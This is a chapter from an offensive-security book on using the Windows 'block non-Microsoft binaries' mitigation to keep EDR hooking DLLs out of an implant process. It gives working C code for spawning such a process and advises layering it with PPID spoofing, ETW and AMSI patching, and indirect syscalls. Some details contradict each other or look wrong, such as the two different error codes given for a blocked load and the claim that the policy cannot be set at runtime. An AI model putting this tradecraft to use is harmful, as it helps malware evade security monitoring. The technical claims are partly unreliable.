Chapter 49

Process Mitigation Policies as Offense

Process mitigation policies are security features you normally think about defensively — Control Flow Guard, ACG, DEP. But one mitigation policy is uniquely useful for offense: PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON. Enabling this on your implant process tells the kernel to block any DLL that is NOT Microsoft-signed from loading. When an EDR attempts to inject its monitoring DLL into your process (a universal hook delivery mechanism), the kernel refuses. The EDR can't hook what it can't load into. This chapter covers how to wield process mitigation policies as a shield against EDR DLL injection into your own implant.

How EDR DLL Injection Works

EDR DLL injection mechanism — the attack surface we're defending
  EDR Kernel Driver (CrowdStrikeFalcon.sys, etc.):
  ─────────────────────────────────────────────────────────────────────────
  Registered PsSetLoadImageNotifyRoutine callback fires on every process start.
    │
    └─ EDR callback fires for YOUR implant process
         │
         └─ EDR driver calls NtQueueApcThread or creates a remote thread to
              inject EDR's userland DLL into your process:
                CrowdStrike: crowdstrike.falcon.hooks.dll
                SentinelOne: SentinelOneHooks64.dll
                CylanceMEMORY64.dll
                etc.
    
  EDR DLL once loaded into your process:
  ─────────────────────────────────────────────────────────────────────────
    ├─ hooks NtAllocateVirtualMemory in YOUR ntdll
    ├─ hooks NtWriteVirtualMemory in YOUR ntdll
    ├─ hooks NtCreateThreadEx in YOUR ntdll
    └─ monitors ALL your NT function calls with full argument visibility
  
  The Block Non-Microsoft Binaries mitigation:
  ─────────────────────────────────────────────────────────────────────────
  When set on your process:
    Any DLL load attempt is checked against the Microsoft signature.
    EDR DLL (signed by CrowdStrike, SentinelOne, etc.) → NOT Microsoft → BLOCKED
    The kernel returns STATUS_ACCESS_DENIED for the load.
    EDR cannot inject its hooking DLL.
    EDR's userland hooks never appear in your process.
    
  Microsoft-signed DLLs (kernel32, ntdll, etc.) still load normally.
  
  Note: The mitigation must be set BEFORE the EDR's injection attempt.
  EDR injects at process startup (via PsSetLoadImageNotifyRoutine).
  So you must set the policy at process creation (not after startup).

Setting Mitigation Policy at Process Creation

/* mitigation_shield.c — Spawn child process with EDR-blocking mitigation
   
   Two ways to use process mitigation policies offensively:
   1. Self-set (apply to the current process): SetProcessMitigationPolicy()
      BUT: by the time your process calls this, EDR has already injected.
      The mitigation cannot retroactively block already-loaded DLLs.
   
   2. Set on a child at creation: use PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
      via UpdateProcThreadAttribute before CreateProcess.
      The kernel applies the policy BEFORE the first DLL loads.
      EDR's injection callback fires but the DLL load is blocked.
      This is the useful approach for implant design.
*/

#include <windows.h>
#include <stdio.h>

#ifndef PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON \
    0x100000000000ULL
#endif

#ifndef PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE
#define PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE     0x1ULL
#endif

#ifndef PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY           0x00020007
#endif

BOOL spawn_edr_hardened(const wchar_t *target_exe) {
    /*
     * Combine multiple mitigation policies in the 64-bit policy flag:
     *   DEP_ENABLE                       — no code execution from data pages
     *   BLOCK_NON_MICROSOFT_BINARIES     — this is the EDR-blocking one
     * 
     * Some additional useful mitigations for the policy word:
     *   FORCE_RELOCATE_IMAGES_ALWAYS_ON  — force ASLR even for non-ASLR binaries
     *   HEAP_TERMINATE_ON_CORRUPTION     — crash on heap corruption (no exploitability)
     *
     * For offense: DEP + BLOCK_NON_MICROSOFT is the minimal useful pair.
     */
    DWORD64 policy =
        PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE |
        PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;

    /* Initialize attribute list (2 attributes: parent process + mitigation) */
    SIZE_T attr_size = 0;
    InitializeProcThreadAttributeList(NULL, 2, 0, &attr_size);
    LPPROC_THREAD_ATTRIBUTE_LIST attr =
        HeapAlloc(GetProcessHeap(), 0, attr_size);
    InitializeProcThreadAttributeList(attr, 2, 0, &attr_size);

    /* Attribute 1: mitigation policy */
    if (!UpdateProcThreadAttribute(
            attr, 0,
            PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
            &policy, sizeof(policy),
            NULL, NULL))
    {
        printf("[-] UpdateProcThreadAttribute (mitigation): %lu\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, attr);
        return FALSE;
    }
    printf("[+] Mitigation policy set: BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON\n");

    /* Optional Attribute 2: PPID spoofing (from Ch48) */
    HANDLE hFakeParent = NULL;
    /* (combine with PPID spoof for full stealth — omitted here for clarity) */

    STARTUPINFOEXW si = {0};
    si.StartupInfo.cb = sizeof(si);
    si.lpAttributeList = attr;

    PROCESS_INFORMATION pi = {0};
    wchar_t cmd[MAX_PATH];
    wcscpy(cmd, target_exe);

    BOOL ok = CreateProcessW(
        NULL, cmd,
        NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
        NULL, NULL,
        (LPSTARTUPINFOW)&si, &pi
    );

    if (ok) {
        printf("[+] Process spawned: PID=%lu\n", pi.dwProcessId);
        printf("[+] EDR DLL injection into this process will be blocked by kernel.\n");
        printf("[+] Only Microsoft-signed DLLs can load into this process.\n");
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    } else {
        printf("[-] CreateProcessW failed: %lu\n", GetLastError());
    }

    DeleteProcThreadAttributeList(attr);
    HeapFree(GetProcessHeap(), 0, attr);
    return ok;
}

/* ── Self-set mitigation (limited usefulness — shown for completeness) ── */
/*
 * Calling SetProcessMitigationPolicy from within the current process
 * can set some policies at runtime. But BLOCK_NON_MICROSOFT_BINARIES
 * cannot be set after process startup on most Windows versions.
 * It can only be applied at creation time via the attribute.
 * 
 * Policies you CAN set at runtime:
 *   PROCESS_MITIGATION_DEP_POLICY             (if not already set)
 *   PROCESS_MITIGATION_ASLR_POLICY
 *   PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY
 *
 * Policies you CANNOT set at runtime (creation-time only):
 *   BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON    ← the useful one
 *   SYSTEM_CALL_DISABLE_POLICY (blocks Win32 syscalls)
 */
void demonstrate_self_set_limits(void) {
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = {0};
    policy.MicrosoftSignedOnly = 1;  /* equivalent to BLOCK_NON_MICROSOFT */

    BOOL ok = SetProcessMitigationPolicy(
        ProcessSignaturePolicy,
        &policy,
        sizeof(policy)
    );
    
    if (!ok) {
        DWORD err = GetLastError();
        printf("SetProcessMitigationPolicy self-set: %lu\n", err);
        /* ERROR_ACCESS_DENIED (5) on most systems after process startup */
        /* Must be set at creation via PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY */
    }
}

What This Doesn't Block

Mitigation shield coverage — what it blocks and what it doesn't
  What BLOCK_NON_MICROSOFT_BINARIES blocks:
  ─────────────────────────────────────────────────────────────────────────
  ✓ EDR userland DLL injection into your process
    → CrowdStrike, SentinelOne, Cylance, Carbon Black DLLs cannot load
  ✓ Third-party software that tries to inject into your process
    → DLL planting, reflective injection from external processes
  ✓ AutoHotkey, frida-based hooks (not Microsoft-signed)
  ✓ Debugging via OllyDbg / x32dbg (their debug DLLs are not MS-signed)
  
  What it does NOT block:
  ─────────────────────────────────────────────────────────────────────────
  ✗ ETW-TI — kernel-level telemetry (no DLL involved)
  ✗ EDR kernel driver callbacks — driver code, not DLL
  ✗ Microsoft-signed monitoring DLLs:
       cryptbase.dll, sechost.dll, and other MS-signed DLLs that some
       security products use as a hook delivery vehicle (rare but possible)
  ✗ Windows Defender engine — it runs in a separate process (MsMpEng.exe),
       not inside your process. Doesn't need DLL injection.
  ✗ Sysmon — kernel driver, no DLL
  ✗ Network monitoring — done at the driver level (NDIS, WFP)
  ✗ EDR kernel callbacks for process creation, image load, registry ops
  
  Real-world EDR response to the block:
  ─────────────────────────────────────────────────────────────────────────
  CrowdStrike Falcon:
    If its userland DLL is blocked, Falcon falls back to kernel-only telemetry.
    It still sees ETW-TI events. It loses argument-level visibility for some calls
    but retains process creation, image load, and network events.
    Falcon DOES detect BLOCK_NON_MICROSOFT as a suspicious flag set at
    process creation — it's a high-fidelity "attacker trying to block our hooks" signal.
  
  Best practice:
  ─────────────────────────────────────────────────────────────────────────
  Use mitigation hardening on your PRIMARY payload process (the one doing
  injection or C2 comms). Accept that EDR knows you tried to block its hooks
  — the trade-off is: EDR knows something unusual happened, but can't see
  WHAT your payload is doing inside that process.

Questions & Answers

What error does the EDR's injection attempt produce when blocked by this mitigation?

The kernel returns STATUS_INVALID_IMAGE_HASH (0xC0000428) when attempting to load a DLL that doesn't meet the signature requirement. This error propagates back to the EDR's injection mechanism (which typically uses a callback from PsSetLoadImageNotifyRoutine or a thread injection). The EDR's own logging will record: "DLL load failed for [DriverName].dll in process [YourImplant.exe] with STATUS_INVALID_IMAGE_HASH." So the EDR is aware that it was blocked — this is not a silent bypass. Modern EDRs treat this error as an indicator: a process with signature restrictions that blocks their DLL is treated with elevated suspicion, often triggering alerts even without the userland hook telemetry.

Can you combine mitigation policy blocking with PPID spoofing and ETW patching for a comprehensive stack?

Yes, and that's the layered approach for real implants. The combination: (1) PPID spoof to appear as a legitimate parent (Sysmon shows the wrong parent), (2) mitigation policy blocking at process creation (EDR userland DLL cannot inject), (3) within the process, patch EtwEventWrite and AMSI (kills script/userland telemetry), (4) use indirect syscalls for all operations (call stack shows ntdll origin). Each layer addresses a different detection channel. The remaining gap: ETW-TI is still active (kernel telemetry survives all userland mitigations), and the EDR will flag "process has BLOCK_NON_MICROSOFT set" as suspicious. No single-layer bypass is sufficient; no combination of userland bypasses achieves complete invisibility against a well-tuned enterprise EDR — the goal is raising the cost of detection, not achieving theoretical invisibility.

Why can't you set BLOCK_NON_MICROSOFT_BINARIES at runtime via SetProcessMitigationPolicy?

Because once a process starts and DLLs begin loading (ntdll, kernel32, the C runtime), Windows needs to establish a consistent enforcement state. If you could enable signature enforcement mid-process after arbitrary DLLs have already loaded, you'd have a race condition where the policy applies to future loads but not existing ones. More importantly, signature checking is enforced in the kernel's image loading path at load time — it's a gating check, not a retrospective one. The kernel implementation applies the policy when the process object is initialized, before any DLL is loaded into the new process. Setting it via PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY works because the attribute is processed by the kernel during NtCreateUserProcess, before the process loader runs. Runtime-setting it would require the kernel to retroactively re-evaluate already-loaded images, which is not implemented.

Does this mitigation affect your ability to load your own (unsigned) shellcode DLLs?

Yes — and this is the main limitation for offense. If your implant loads additional stages as DLLs (using LoadLibrary, reflective loading, or any standard DLL load mechanism), those DLLs must be Microsoft-signed or the load will fail. Reflective DLL injection (Ch29) loads a DLL from memory without going through the standard image loader, so it bypasses the signature check for that specific load. But any LoadLibrary call will be checked. In practice: use the mitigation-hardened process for your C2 communication component (which doesn't load additional DLLs), and do injection and loading operations from a separate, unprotected staging process. The hardened process becomes an "isolation zone" for sensitive operations that you want to keep the EDR's hooks out of.

Can the mitigation policy be inspected or queried by the EDR after the process starts?

Yes — NtQueryInformationProcess with ProcessMitigationPolicy class lets any process with appropriate access query the mitigation policy of any other process. An EDR kernel driver can read your mitigation policy from the EPROCESS.MitigationFlags field directly. This is how EDRs detect that a process has set MicrosoftSignedOnly — they query the policy and treat it as a behavioral signal. Some EDRs explicitly alert on "process created with image load restrictions that block security software." The policy field is not hidden or obfuscated. This is one of those classic evasion arms-race situations: the "evasion" technique itself becomes a detection signature.